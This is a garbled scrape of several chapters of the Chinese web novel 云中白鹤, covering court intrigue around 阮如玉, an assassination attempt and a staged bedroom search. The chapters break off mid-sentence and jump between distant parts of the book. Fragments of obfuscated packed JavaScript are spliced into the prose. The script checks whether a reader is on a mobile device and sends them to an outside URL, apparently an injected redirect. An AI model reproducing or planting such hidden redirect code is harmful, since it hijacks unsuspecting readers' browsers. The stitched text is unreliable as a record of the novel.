季诗婕面上惊慌,“太后娘娘明鉴,我们两家虽然交好,那也是裴郎和阮氏家主之间的交情,阮家夫人并不喜欢妾身,阮如玉所为,可和妾身一点关系都没有呀。” 贾太后淡淡一笑,“你慌什么呀,哀家又没斥责你,哀家知道,这件事和你没什么关系,不过是托你捎句话罢了。” 季诗婕为难道,“怕就怕,她不听妾身的呀。” 贾太后解下鎏金纹银花鸟缠枝香毬,搁在唇边轻轻一吹,里面的那点萤萤微火顷 17. 刺客 《云中白鹤》全本免费阅读 太学。 阮如玉手捧绿帛,端方一礼,“文大人,我听说皇上要从太学之中拔擢贤才,以补中书空缺之位,这是我的陈情文书,还请大人帮忙一并呈上。” 文超然接过绿帛,仔细看了一遍,点头道,“不错,写得不错呀。” “谢大人夸赞。”阮如玉瞧见案上堆放的文册,问道,“这都是自荐入中书省的士子吗?” “是啊,襄阳王劝说皇上不拘一格,选拨人才,难得有这么一个入朝为官的机会,士子们自然不愿错过,阮姑娘不是也想试一试吗?” 阮如玉笑道,“不过是试试罢了,成与不成,全凭圣裁。” 这时,忽听门外传来一个威严之声,“什么成与不成啊?” 文超然循音看见来人,放下手中文书,迎了上去,“诶呀,贾大人怎么亲自过来了。” 贾千仓淡淡“嗯”了一声,却并未看文超然,他的目光越过文超然,稳稳地落在阮如玉身上,“你就是乐经博士、阮氏之女阮如玉?” 阮如玉在太学三年,从未见过贾千仓,此刻见问,心下不免觉得有些奇怪,她看向文超然,文超然连忙向她介绍,“这位是太常寺卿、贾公之子贾大人,掌宗庙祭祀礼仪文选之事。” 听文超然这么一介绍,阮如玉依稀有了点印象,论起来,这位贾大人是贾太后同父异母的兄长,名曰千仓,表字秋廪,按官职论,太学中的大小事宜,他亦有参与决断之权。 阮如玉屈膝拜见,“见过贾大人。” “阮姑娘也是来自荐入朝的吗?” “是。” 贾千仓扬袖,“给我看看阮姑娘的陈情文书。” 文超然便将阮如玉的绿帛递了过去。 贾千仓的指尖在绿帛的字里行间缓慢挪动,他笑了笑,“这玩意不错。” 阮如玉才松了一口气,却见他大手一挥,将自己的陈情文书扔进了双耳熏炉。 她急道,“贾大人——” 贾千仓眼角挑着一丝嘲讽笑意,“这玩意不错,烧了取暖正好。” 阮如玉抿了抿唇,镇定道,“贾大人这是何意?” “没什么别的意思。”贾千仓拂了拂袖,“就单纯不想让你入朝而已。” “太后娘娘可知贾大人在外如此不守法度,仗势欺人?!” “法度?你和我谈法度?”贾千仓冷哼一声,“那就请阮姑娘告诉我,大梁律令,有哪一条哪一款写着女子可以入朝为官了?” 阮如玉一字一顿,“现在没有,不代表不应当有!当日商鞅力主变法,那些愚人却说,‘法古无过,循礼无邪’,后来的种种有力证明了商君所言,立法不应守旧,制礼宜随时事,若不时刻思变,哪得王业兴隆?”[1] 贾千仓微微眯起眼睛,“怎么?阮姑娘是想说皇上昏聩,不能高瞻远瞩,连短命而亡的秦朝都比不上,还是想说我们这些大臣都是一群庸碌,尸位素餐,有负圣恩啊?” 阮如玉脸上没有一丝一毫的惧色,“我只是就事论事,贾大人不要无中生有,凭空污蔑!” 贾千仓冷笑道,“阮姑娘,我告诉你,你是绝对不可能录入中书省的,我劝你还是趁早断了这个念头吧,这个太学,你若是不珍惜,只怕也待不长了。” “哼,贾大人未经允准,擅自插手中书事务,就不怕皇上怪罪吗!还是说,这萧氏江山早已易主,全凭贾大人一个人说了算?!” 文超然一惊,连忙拉住她,“阮姑娘,你怎么能说这种大逆不道的话,你——” “文大人放心,我今日所言,与你,与太学一点关系都没有,若是皇上怪罪下来,我阮如玉一力承担,绝无二话!” 文超然脸色难看,还要再说,却见贾千仓走近两步,乜眼看她。 “阮姑娘,你今日无论说什么,我都不可能遂你的意,你不是说我仗势欺人吗,好啊,你大可去御前告我,我等着!” 说罢,贾千仓挥袖而去,他走到门边,忽又站住,声音冷冽瘆人,“文大人,这件事情与你无关,我劝你,不要横插一脚,自惹祸端。” 文超然张了张嘴,面有难色。 阮如玉勉力一笑,“不劳文大人,我另想办法就是。” 眼看她也要走,文超然开口叫住了她,“如玉。” 阮如玉止住步子,却并未回身,“文叔,我知道你要说什么,只是我心已决,哪怕前头是刀山火海,我也要去闯一闯!我就不信了,同为大梁子民,为什么女子就必须相夫教子,碌碌一生,我一定要为这世间女子讨回一个公道!” 禁苑。 火树华枝,炤燎浮光,转眼便是大梁一岁一度的元日朝会。 群臣从宜阳门鱼贯而入,鼓乐声彻,百官贺拜,梁帝萧寰披着宽袖狐皮大衣端坐高处,他的神情有些倦怠,却不得不强自撑着,笑让众人起来。 “喜迎新岁,众卿同乐,诸位爱卿都不必掬着,吃吃喝喝,尽兴才好。” 众人俯首称是,又依着品位高低,依次向梁帝奉觞献寿,梁帝举杯示意,却也不过浅啜几口便放下了。 火光耀目,钟鼓喧天,阮如玉在人群中仰脸望向那个独在高位的帝王,说起来,这是她第一次看见梁帝萧寰的模样。 他的脸很白,却并不是时下建康男子傅粉施朱的那种白,而是没有一丝血色的苍白。 阮如玉进入太学三年,参加过三次元日朝会,但每次的元日朝会皆是由贾太后和襄阳王操办的,贵为大梁天子的萧寰却连个面都没露过。 今日若非北魏使臣来朝,只怕萧寰还是不会出席阖宫夜宴。 阮如玉觉得有些奇怪,她端详着梁帝的面容,试图从他细微的表情里看出些什么,可还没等她有所发现,目光便被另一个人吸引了过去。 夜色浮沉,重檐庑殿顶上一道黑影缓慢移动。 阮如玉下意识地喊了出来,“不好,有刺客!” 可是人声鼎沸,乐声喧嚷,她的声音被淹没在跳跃的火光之中。 慌乱中,阮如玉拉住一人衣袖,她抬眼一看,却是襄阳王萧景珃。 萧景珃对着她笑,“出什么事了?怎么慌成这样?” 阮如玉指着那道黑影,疾声道,“有刺客!抓刺客!” 萧景珃闻言,神色遽然一变,他飞奔而去,大喊,“护驾!” 可是已经迟了。 那刺客一跃而下,手中匕首冲梁帝狠狠刺了过去。 梁帝面色愈加苍白,极度惊 18. 惜柔 《云中白鹤》全本免费阅读 怡梦宫。 贾太后卧在男子怀里,她微微扬手,捻起他的一缕青丝,绕在指尖把玩。 男子面有羞赧,“太后娘娘为何一直看着小人,小人都有些不好意思了。” 贾太后莹然一笑,慢悠悠地说,“因为……你好看呀。” 男子的脸更红了。 贾太后抚摸他的眉心,“寰儿,你真好看,哀家从未见过你这么好看的人。” 男子喉结滚动了一下,时至今日,他还是不太习惯这个称呼。 这可是梁帝萧寰的名讳,若是让人听见了,他定会死无葬身之地。 “太,太后。” “怎么,你不喜欢哀家这么叫你吗?” “小人不敢。” 贾太后轻轻笑了一下,“别紧张,哀家喜欢你,哀家不会让人伤害你的。” “谢太……” 他的“太后”二字还没说完,忽觉唇间一凉,贾太后依偎在他的怀里,她的手紧紧环住他的裸背,冰冷的珠翠贴在唇边,他听见她说,“不要叫我太后。” 男子不敢作声,由着她抱着自己。 良久,她缓缓抬眸,眼底竟然掺了一抹哀怨,“叫我,惜柔。” 男子张了张嘴,“惜——” 忽闻一阵疾促的脚步声传来,周寺人推开房门,跌跌撞撞地跪在地上。 “不好了太后娘娘!皇上遇刺了!” 贾太后陡然直起身子,“寰儿受伤了吗?” 她身后的男子听见“寰儿”二字,微微挑眉。 “随行的散骑侍郎裴义护驾及时,皇上并没有受伤,只是有点惊着了。” 贾太后念了声佛,她呢喃着,“没事就好,没事就好。” 她扫了眼跪在地上的周寺人,“哀家知道了,你先下去吧。” 周寺人头上渗出细密的汗珠,汗珠淌进眼角,刺得难受,他却不敢抬袖擦拭。 “你还跪在这儿做什么?还不出去。” 周寺人迟疑道,“皇上请太后娘娘过去一趟。” 贾太后神情微变,“请我过去?” “是。”周寺人的头埋得更低了,“皇上说请太后娘娘看一出戏。” 贾太后默了默,忽地一笑,“好啊,他这是怀疑我。” “太后娘娘,皇上并没有这么说呀,或许皇上只是——” 贾太后微一抬手,制止了周寺人继续说下去,她拢了拢散乱的鬓发,缓步走下芙蓉榻,“从前,他想做的事情,我帮他做,如今,他想看,我陪他看就是了,吟泉,给哀家更衣。” 周寺人小心上前,应声道,“是。” 贾太后扶着周寺人的手,悠然而至。 她打扮得甚是华丽,绯色披帛随风而动,层层燕尾曳在地上,每走一步,她头上的金花步摇就跟着玲玲作响,烨烨生姿。 贾太后入宫时不过十六,即便如今已经成了太后,却依然容貌姣好,便是阮如玉见了,也要心悦诚服地赞一声,“好美。” 梁帝看见她,眸色略动了一动,他行礼道,“母后。” 贾太后轻蔑一笑,“皇上想请哀家看什么戏呀?” 梁帝有些踌躇,却见贾太后走近一步,附在他的耳边柔声道,“皇上健忘,要不要哀家提醒你一下,这出戏的名字,叫杀父弑君。” 梁帝身子陡然一颤,他慌慌张张地退后半步,惊惧未定地看着她的眼睛。 贾太后笑得更开心了,她掠过梁帝的衣袖,大步走上高台,“不是要看戏吗?戏呢?” 梁帝抿了抿唇,“带上来。” 王赫压着刺客上前,“陛下,这家伙受不住刑,已然招认了。” “说!” 王赫瞥了眼贾太后,复又低下头去,“臣不敢说,还是让他亲口禀告陛下吧。” 梁帝微微欠身,盯着刺客,“你告诉朕,究竟是谁派你来行刺朕的?” “咳咳。” 刺客啐出一口血沫,殷红的鲜血裹着碎成了渣的牙齿,看起来分外可怖。 他艰难地抬起眼皮,看向贾太后,“是……是太后娘娘派我来的。” 梁帝脸色难看,“你再说一遍!” 刺客用手撑着地面,似乎是想爬起来,王赫立刻拔剑,凛冽的剑锋抵在刺客颈侧。 刺客无所谓地笑了笑,“我说的都是实话,陛下若是不信,我也没有办法,我身为大梁子民,却亲手刺杀陛下,已经没有颜面活于世间了。” 说罢,他猛然撞向剑锋。 炽热的鲜血溅了一地,犹如盆中火光,刺眼灼目。 梁帝吃了一惊,扶着齐寺人的手匆忙后退。 王赫俯身探了探刺客的气息,“陛下,他死了。” 梁帝深吸一口气,他阖上眼睛,疲惫道,“母后,你是不是该给朕一个说法?” 贾太后笑意未减,“皇上想要什么说法呢?” 梁帝有些生气了,他抬手指着地上尸身,声音冷硬,“母后怎么解释这个刺客说的话?” 贾太后登上高台,坐到了梁帝的位子上,她长袖一扬,唇角挂着一丝端庄的笑,“皇上若是疑心哀家,就把哀家处置了吧。” “母后不为自己辩白几句吗?” “皇上若不信我,我说什么都是枉然,皇上若是信我,今夜就不会把我叫到这里了。” 周寺人瞧见势头不好,连忙给萧景珃使了个眼色。 萧景珃会意,上前道,“父皇,儿臣觉得这件事有些蹊跷,不知该不该讲。” “你说。” “儿臣以为,如果这个刺客真的是太后娘娘派来的,他就该一早自尽,而不是等到受了重刑,全都招认完了再死,刺客或许是想借自己的死咬住太后娘娘,挑拨父皇和太后的关系。更何况,裴义原本就是太后娘娘举荐到父皇身边的人,太后娘娘让刺客来行刺父皇,却又让裴义救了父皇,这不是自相矛盾吗?” 梁帝的神色略微缓和了一些,“你说的有道理,珃儿,朕命你彻查此案,务必查明真相。” “儿臣领旨。” “裴义现下如何了?” 齐寺人道,“太医说,裴侍郎的情况不大好,恐有性命之忧。” “传朕的话,如果他们救不活裴义,那就都去地底下陪他吧!” 齐寺人连忙跪下,“陛下息怒。” 众人也都跟着跪下,“陛下息怒啊。” 梁帝似是有些倦了,他挥了挥手,“都散了吧。” 王赫忙道,“陛下,臣已经仔细盘查了今夜赴宴之人,并无什么不妥,陛下您看——” 梁帝却像没听到似的,兀自扶着齐寺人的手走了。 王赫只得又看向坐在高位的贾太后,贾太后莞尔一笑, 19. 沐玄 《云中白鹤》全本免费阅读 雪云飘寒,松柏青郁,阮如玉缓步走回红梅苑。 此刻已近亥时,清冷的月色似一层纱,拢住了寂静空旷的阮氏府邸,她走得很轻,很慢,侧影掩映在浮动的风中,没入萧瑟幽深的夜,她忽然感受到了一丝孤单。 自从决意入朝为官之后,她已经将生死置之度外,为了不牵连阮氏一族,她劝父亲阮德带着建康城的阮氏族人回到了故乡孤山,如今,偌大的阮府就只剩下她一人。 她仰头望着天上明月,心中暗暗祝祷,父亲,母亲,希望你们一切安好。 蓦地,夜空中响起一阵爽朗恣意的笑声。 什么情况? 府里怎么会有别人? 阮如玉一下子想起那名陌生男子的话,“今夜席间,有人想对姑娘动手。” 不是吧? 又来? 小菁抓住她的衣角,“怎么办呀姑娘?” 阮如玉定了定心神,“别慌,你去召集阖府护卫,快!” “那姑娘你?” “不用管我,快去。” 小菁慌慌张张地去了,不一会儿,她就带着护卫们赶回来了,阮府护卫统领抱尘拱手道,“姑娘,我听这声音传来的方向,似乎是在寒羽苑附近。” 阮如玉颔首,“抱尘,我们去看看。” 寒羽苑草木凄清,阮如玉已经许久未曾踏足此处了。 寒羽苑原本是阮如玉之兄阮文卓的院落。 只是,阮如玉从未见过这个兄长。 阮文卓少时不喜读书,独爱耍剑,十岁上下跟着一名剑客离开了建康,之后便杳无音讯,再无所踪。 阮德给他取名“文卓”,原本是希望他能传承阮氏门风,在诗书礼乐之事上有一番不朽造诣,奈何他志不在此,阮德也只得由他去了。 抱尘持刀上前,一脚踹开院门。 只见一名男子高卧于嶙峋奇石之上,男子身姿俊逸,衣发翩跹,他举着酒葫芦仰颈畅饮,笑声朗朗,身彻云天。 抱尘一头雾水,这人是要干嘛? 男子看了几人一眼,哈哈大笑,一跃而下。 抱尘连忙横刀,“站住!” 男子当空一个旋身,甩出腰侧的寒羽剑,再落地时,凛冽的剑锋已经勾住了抱尘的下巴。 “糊涂东西,连我都不认得了?” 抱尘一愣,他看了男子半晌,又惊又喜,“公子!” 男子轻嗤一声,“算你有良心。” 阮如玉看着二人的模样,上前一步,“抱尘,这位是?” 抱尘才要介绍,男子扬手制止了他。 男子注视着阮如玉,笑了笑,“你就是如玉吧?” 阮如玉微微蹙眉,“你是?” 男子抬抬下巴,十分得意,“叫我阿兄。” “啊?”阮如玉一脸震惊,“你就是父亲母亲口中那个不成器的兄长啊?” “咳咳,怎么说话呢?” 阮如玉长了这么大,突然多了一个哥哥,她心里很是欢喜,一把拉住阮文卓,“阿兄,你怎么回来啦?” “还不是为了保护你。”阮文卓扫了眼抱尘几个,面带不屑,“否则,就凭他们几个能打得过谁?” 抱尘面有羞愧,他把刀收了回去,垂首道,“公子教训的是。” 阮如玉有些奇怪,“阿兄,你怎么知道有人要杀我?” 阮文卓从袖中抽出一张布条,“我原本跟着师妹在外游历,师妹说她要来建康办件事,我就跟着过来了,结果今天早上,我刚睁眼,就在枕边发现了这个。” 阮如玉展开布条,念道,“沐玄,有人欲杀汝妹,速回阮府。” 阮如玉心说奇怪,这个通风报信之人既然知道他的小字,一定是认识他的,到底是谁呢? 阮文卓挑了挑眉,“和阿兄说说,你得罪谁了?” “谁知道这人说的是真是假?子虚乌有,也未可知。” “我原本也是不信的,结果你猜怎么着,我师妹也收到了刺杀你的重金悬赏。”阮文卓似笑非笑,“如玉,你现在这条命可挺值钱呀。” 阮如玉翻了个白眼,又问,“你师妹是?” “你不认识她,她是大魏十步门的剑客。” “十步门?”阮如玉忽地想起一人,“她是不是叫花姹?” “欸?你怎么知道?” “她来建康,是不是为了一个叫芸娘的女子?” 阮文卓更诧异了,“你怎么什么都知道?” “这个世界可真小,就这么几个人,全都碰在一块儿了。”她对着他一笑,“阿兄,你不是问我得罪了谁吗,我得罪的人可太多了,阿兄,你走吧,别让我连累了你。” 阮文卓认真打量着她,良久,他叹了口气,“如玉,阿兄带你离开建康吧,我们阮氏是大山的儿女,不该被困于斗室之内,阿兄教你使剑,教你骑马,阿兄带你去听草原上的风声,去看永不落的太阳,不要再在这个地方待下去了。” 阮如玉听见他的话,眸中浮出憧憬的光芒,可她还是摇了摇头,“阿兄,我有我的事情要做,我必须留在建康,和他们殊死一搏。” “为什么?” “阿兄,你有心上人吗?” 阮文卓一怔,他点了点头,“有。” “如果她含冤而死,你会怎么办?” 阮文卓的手下意识地搭在了寒羽剑的剑鞘上,“自然是揪出背后之人,给她报仇。” 阮如玉轻声道,“我留下来,就是为了给他报仇。” 阮文卓闻言默了默,他拍了一下她的肩膀,“好,阿兄陪你。” 阮如玉侧首看他,“那你的小师妹怎么办?” “什么小师妹。”阮文卓背过身去,耳朵根有些发红。 阮如玉一脸看热闹不嫌事大的表情,“她不是你的心上人吗,你陪她来了建康,如今却要让她一个人回十步门,她岂不是要生你的气?” “胡说八道,她是十步门的剑客,我怎么可能会喜欢她?” 阮如玉长长“哦”了一声,她趁他不备,从他腰间扯下一枚玉髓梳篦。 “喂!还给我!” 阮文卓劈手欲夺,阮如玉一个闪身,轻松躲开了。 “我听父亲母亲说,阿兄可是从来都不梳头的,既然不梳头,阿兄为什么随身带着篦子呢,这上头的雕花纹络还这么精致,一看就是女孩子的东西,除了那位小师妹,还能有谁?” 阮文卓眸光黯淡,他从阮如玉手中拿回梳篦,低声道,“她是魏人,我们不可能在一起的,如玉,这样的话,你以后不要再说了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贾太后懒洋洋地扬了扬手,“行了,你不就是看哀家这段日子倚重裴义,心里着急了吗?阮如玉自视颇高,又对已故太子一往情深,哀家倒不信,她会明目张胆地同裴义私通。”她侧脸看向杜无崖,“杜卿,该不会是你在其中动的手脚吧?” 杜无崖慌忙跪下,“臣不敢,臣的族兄也在太学供职,是他无意间瞧见的,恺兮!” 杜恺兮挨着杜无崖跪下,“太后娘娘,阮如玉和裴义偷情,确是臣亲眼所见,绝无虚言,娘娘一看便知。” 贾太后略一思量,上前推门,谁料她的手刚搭上去,门就从里面开了。 阮如玉穿戴整齐,出来施了一礼,“臣见过太后娘娘,不知娘娘深夜来此,所为何事?” 杜恺兮不可思议地看着她,“你,你怎么……”他抿了抿唇,却不知道该怎么说。 阮如玉看他一眼,“杜大人想说什么?” 杜无崖正在纳罕,杜恺兮却已从门缝里瞧见了榻上还有一人,他的脸上复又得意起来,“这么晚了,阮姑娘怎么还在这儿啊?” “杜大人不也在此吗?” 杜恺兮抄着手,“我们怎么能一样,阮姑娘可别忘了,你终究是个女子,深夜不归,是要让人说闲话的。” 他话说到一半,忽觉一道凌厉的目光射向自己,他仓促转头,却见贾太后正盯着自己,他意识到自己说错话了,赶紧闭上嘴。 贾太后探身瞧了一眼,悠悠道,“阮姑娘,你这屋里似乎还有人啊。” 40. 惊变 阮如玉的脸上丝毫没有慌乱之态,她不疾不徐道,“太后娘娘怕不是看错了吧,臣屋中并无旁人,不过是一些舞乐署的账册罢了。” 贾太后听闻“舞乐署”三字,微一挑眉,散漫开口,“这些陈年旧账,阮姑娘看得懂吗?要不要哀家找人帮帮你啊?” “臣的确看不太懂,不过臣会好生学习的,就不劳太后娘娘费心了。” 贾太后上前一步,声音顺着没有梳拢的乌发,拂过她的耳侧,“阮如玉,哀家已经看见你的榻上还有另外一个人了,看在你我同为女子的份儿上,哀家给你一次机会,你如果不想丢了你们阮氏一族的体面,最好按照哀家的意思去做。” 阮如玉侧脸看她,莫名觉得有几分好笑,“不知,太后娘娘想让臣做什么呢?” “立刻交还舞乐署的账册,还有,在操持完长公主的生辰宴之后,向皇上禀明你精神不济,不能成事,自请离开禁苑,从此再不插手内廷中事。” “太后娘娘这是想把臣撵出来?” “哀家这是在救你。” “那还真是多谢太后娘娘了,不过——”阮如玉退后半步,恭敬行礼,“恕臣不能从命。” 贾太后眸中阴晴不定,半晌,她勾唇轻笑,“好啊,那就别怪哀家了,吟泉。” 周寺人上前,“太后娘娘。” “给哀家仔细搜一搜阮姑娘的床榻,看看上头都藏了什么污秽玩意。” 阮如玉伸臂挡在门口,“放肆,我看谁敢乱闯!” 周寺人有些为难,进也不是,退也不是。 贾太后冷哼一声,“阮如玉,你若是没做亏心事,慌张什么?” “臣当然没做亏心事,可是太后娘娘,臣好歹也是世家之女,太学官员,娘娘无缘无故搜查臣的房间,难道不该给臣一个说法吗?” “笑话,哀家乃是一国太后,大梁境内有什么地方是哀家去不得的,更何况这是太学,不是你阮府私宅!如若哀家今日一定要搜,你能如何?” “太后娘娘若是决意如此,臣当然不敢说什么,只是,臣自觉冤屈,心有不服。” “冤屈?阮姑娘这话还是待会再说,更合时宜。”贾太后一把推开了她,“给哀家搜!” 周寺人带人鱼贯而入,杜恺兮和杜无崖相视一笑,面上得意,都等着看阮如玉的笑话。 周寺人抓起榻上丝衾,狠心一掀,却不由得愣在了当地。 杜无崖隔得远,看得不甚真切,却是辨认出榻上的确有一个黑衣男子,于是得意洋洋,指着那人说道,“太后娘娘您瞧,微臣说的可都是真的。” 贾太后没理会杜无崖,反倒是瞥了眼阮如玉,见她神色依旧从容自若,不觉有点奇怪,贾太后扶门而入,榻上那人同时起身,跪下行礼,“臣女参见太后娘娘,太后娘娘长乐无极。” 此言一出,众人都愣住了。 这是什么情况? 杜无崖揉了揉眼睛,紧紧盯着那人,生怕自己看错了,“文,文姑娘?你怎么会在这儿?” 文南笑道,“杜大人,我为什么不能在这儿?你们这么多人都过来了,还差我一个吗?” 杜无崖被噎得说不出话来。 贾太后眸色一沉,怫然不悦,“杜卿,这就是你口口声声说的私通之人?” 杜无崖赶紧跪下,“太后娘娘,臣,臣也不知道怎么会这样。” 贾太后猜想他是受了人的算计,暗骂真是愚蠢,她叹了口气,打量着文南的一身劲装,“文姑娘,你怎么穿成了这样?” “太后娘娘恕罪,臣女未曾料到太后娘娘会突然过来,臣女失仪了。” “都是小节,也没什么。”贾太后的目光重新落在阮如玉的脸上,“不过阮姑娘怎么也不知会一声呢,还口口声声说这屋里再无旁人。”她指着文南,“怎么,这不是人吗?” 阮如玉恭敬回话,“此事的确是臣扯谎了,因为文南衣着不甚得体,臣怕太后娘娘见了怪罪,还请太后娘娘恕罪。” “罢了。”贾太后看见阮如玉胸有成竹的样子,知道今日是问不出个所以然了,她扶着吟泉的手,微觉困倦,“哀家也乏了,既然是一场误会,就都散了吧。” 杜无崖心急如焚,哪里愿意错过这么好的机会,他连忙膝行两步,抱住贾太后的双腿,“太后娘娘,裴义中了迷药,他跑不远的,他现在一定就在这儿附近,太后娘娘派人去追,一定能追得到!” 贾太后看着他的模样,更觉厌恶,她一脚踹开杜无崖,怒斥,“真是愚不可及!你今天丢人丢得还不够吗?还不赶紧和哀家离开,还要在这儿丢人现眼不成?” “太后娘娘请留步。”阮如玉缓步上前,行了一礼,“太后娘娘,今日杜大人无缘无故引了这么多人来此,还将私通的罪名扣在了臣的身上,如若太后娘娘不惩治兴风作浪之人,只怕不消两日,流言蜚语,便会甚嚣尘上,又如何还臣一个清白?” 贾太后凝眸看她,“你待如何?” “请太后娘娘严惩礼经博士杜恺兮、吏部尚书杜无崖,否则,臣为了自己的清白,还有阮氏一族的清名,定会去御前为自己讨回一个公道。” “好啊,哀家从前还真是小看了你。” 阮如玉淡然道,“谢太后娘娘赞誉。” 贾太后怒极反笑,目光扫过跪在地上的杜恺兮和杜无崖,“传哀家旨意,杜恺兮妄口诬蔑,行动无仪,即日起,革去乐经博士一职,闭门思过去吧,至于杜无崖……”她垂眸看着跪在自己身下的杜无崖,他此刻鼻涕一把泪一把,哭道,“太后娘娘,臣对娘娘是忠心的呀。” 贾太后虽然瞧不起他这副没出息的样子,但毕竟是自己的人,不能不保,于是无奈开口,“杜无崖也是听信了杜恺兮的一面之词,罚俸三个月也就是了。” 阮如玉知道眼下还不是彻底铲除杜家的时候,能除掉杜恺兮已经是意外之喜了,她见好就收,行礼道,“臣,谢过太后娘娘。” 贾太后似笑非笑,“阮如玉,哀家给了你机会,你却没有抓住,你早晚有一天会后悔的。” 阮如玉默了默,正色道,“臣不问前路荆棘,但求无愧己心。” 贾太后一言不发,拂袖而去,杜无崖狼狈地从地上爬起来,跟在她的身后。 看见贾太后一行人走远了,阮如玉这才松了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12670978|131502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,她握住文南的手,“今日多亏了你。” 原来,文南当时正好撞见杜恺兮慌慌张张从乐馆出来的身影,心里起了疑心。 文南才推开乐馆的门,就瞧见裴义和阮如玉倒在一处的模样,她心说不好,赶紧命文府下人取了药来,试图唤醒二人,阮如玉服了药,倒是很快就醒了,可裴义却始终昏迷,万般无奈之下,她只得先将裴义送到自己府上,又换上男子衣衫,陪阮如玉演了这么一出戏。 文南回握住她的手,“今日着实凶险,如玉,你怎么就和裴义走到一块儿了呢?难不成裴义也是贾太后派来算计你的?” 阮如玉摇摇头,却也不知道该如何同她解释,萧景衍的身份眼下还不能声张,知道的人越少越好,于是她说,“文南,这件事我以后再解释给你听,好吗?” 文南虽然不明白其中究竟,但她还是点点头,“好。” “裴义怎么样了?醒了没有?” 文南叹气,“半个时辰前,下人来回了一次话,说是还没醒。” 阮如玉皱眉,“还没醒?不是已经服过药了吗?” 文南犹豫了一下,“如玉,我听下人的意思是,他的情况很不好,为了稳妥起见,我们还是把他送回裴府吧,这样真出了什么事,也不至于牵连到我们。” 阮如玉断然回绝,“不行,裴家那帮人没有一个真心对他的,他眼下这个情况,真把他送回去就完了,小菁,你马上去找阿兄,叫他去文府一趟,文南,你带我一起回府。” “好吧。” 二人赶到时,阮文卓早就已经到了,他一身酒气,呛得阮如玉忍不住掩住鼻息,“阿兄,你这是怎么了?” 小菁插嘴,“可别提了,我方才找了一圈都没找见公子的人影,最后竟是在池塘里瞧见了他,亏他吃了这么多酒,人倒还算清醒,听说你有事找他,立刻换了衣裳就过来了。” 阮文卓垂头嗅了嗅,“还有味道吗?我怎么闻不见?” 阮如玉面有担忧,“阿兄,你到底怎么了?” 阮文卓敷衍她,“好些日子没痛痛快快喝一场了,如玉,你少管我啊,不是要救人吗,还不赶紧着?” 阮如玉惦记萧景衍的伤势,也只得先将此事搁下,随阮文卓一同进了屋子。 文南在外将门关好,又吩咐了文府下人不准将此事说出去。 萧景衍躺在榻上,面容苍白,好似清冷月色。 阮文卓搭个边儿坐下,他伸指探了探萧景衍的脉象,眉头深锁。 阮如玉看他迟迟不说话,急道,“阿兄,他怎么样?” 阮文卓叹了口气,他将萧景衍的手重新掖回了被子里,明明已是炎炎夏日,可萧景衍的身上却是冰凉一片,没有半分温度。 “他本就中毒日久,体力不济,还不知道爱惜自己,白白折损了许多心力,今日又被这迷香迷了心智,跌入了幻境,只怕一时半刻,很难醒转过来。” “幻境?是梦吗?” “算是一种梦吧,只是做梦很容易醒,但陷入幻境,却很难从中挣脱出来。”他顿了顿,继续说道,“如果他一直醒不过来,他或许会死在梦里。” 41. 梦境 阮如玉闻言,心不由得一颤,“阿兄,你见多识广,到底要怎样做才能救他?” “我虽然也在江湖上行走,但对用毒之事了解不多,若是阿姹还在——” 阮文卓顿住,阮如玉观察他的神色,“阿兄,姹姑娘从北魏回来了吗?你们该不会是吵架了吧?” “胡说什么呢,我们怎能可能会吵架。”阮文卓白她一眼,“罢了,你先在这儿照看他,我去找阿姹碰碰运气吧,虽然她未必愿意帮忙。” 阮如玉没忍住笑,“还说不是吵架了,阿兄,你态度好点,别再把人家惹生气了。” 阮文卓还没完全从酒劲儿里缓过来,他嘟囔了两句,摇摇晃晃,摔门而去。 烛光和着风声轻姿曳动,莲花青瓷灯透过稀薄的夜色,向下打出一道慈悲怜伤的默影。 屋内一时只剩下他们二人,无力的苍凉之感席卷而来,阮如玉坐在萧景衍的身侧,眉眼间尽是忧色,她喃喃自语,“随之,快醒过来吧,你知不知道,你这样,我真的很害怕。” 萧景衍睡得昏沉,他在梦境中回到了很久很久以前…… 那是他一生中最顺遂的时光。 彼时,他的母后还活着,他的父皇对他也极好,他是士子们尊崇敬仰的大梁太子,是子民们爱戴拥护的未来储君,他踌躇满志,相信终有一日能实现自己的理想抱负,让天下寒士俱展欢颜,让公允正道还于世间。 太傅授他以诗书,慷慨论道,激扬文字。 他的知己挚友裴义伴他习剑,陪他饮酒。 还有长卿——他的心上人—— 梦里的一切太过美好,如果说现实是一滩烂泥,那么梦境就如青山卧雪,可望而不可即。 故而明知是梦,他也不愿醒来。 如果众人都昏昏沉沉,清醒又何尝不是一种罪过。 他枕着琴声入眠,裴义的恣意大笑回荡在天地之间,他想,这个梦可真好。 春风拨弄柳叶,夏月照见清荷,秋日捧出金云,冬雪簇着红梅,时岁在他的梦境里晃得飞快,他阖上眼睛,沉沦在梦境的最深处,由着重重叠叠的碎影将他淹没、掩埋。 如若可以,他想在这个梦里过一辈子…… 风声猎猎,擦过耳畔。 阮文卓策马狂奔,脑子里回荡的一直都是花姹今日同他说的话。 “沐玄,我们分开吧。” 她说罢转身而去,背影俐落飒爽,连一个说“不”的机会都没留给他。 阮文卓其实很想问“为什么”,可是不问,他也知道隔阂在二人中间的是什么。 花姹是北魏十步门的剑客,而他则是大梁世家之子,他们之间注定不会有什么好结果。 如若不能相濡以沫,还不如相忘于江湖。[1] 所以,他望着花姹决绝而去的身影,含泪应了一个“好”字。 可是他现在后悔了,他咬牙,坚定的声音回响在风中,“阿姹,我绝不放手——” 花姹正在客栈整理包袱,她素来省事,又是行走江湖之人,随身之物不过几件换洗衣裳,可她叠叠放放,却是收拾了很久。 是的,她在等阮文卓。 刀子嘴豆腐心,花姹话说得虽狠,可她内心其实也是不舍得离开他的,她在客栈等了他一下午,却始终没有等到他。 花姹将包袱打了一个死结,自嘲般地笑了笑。 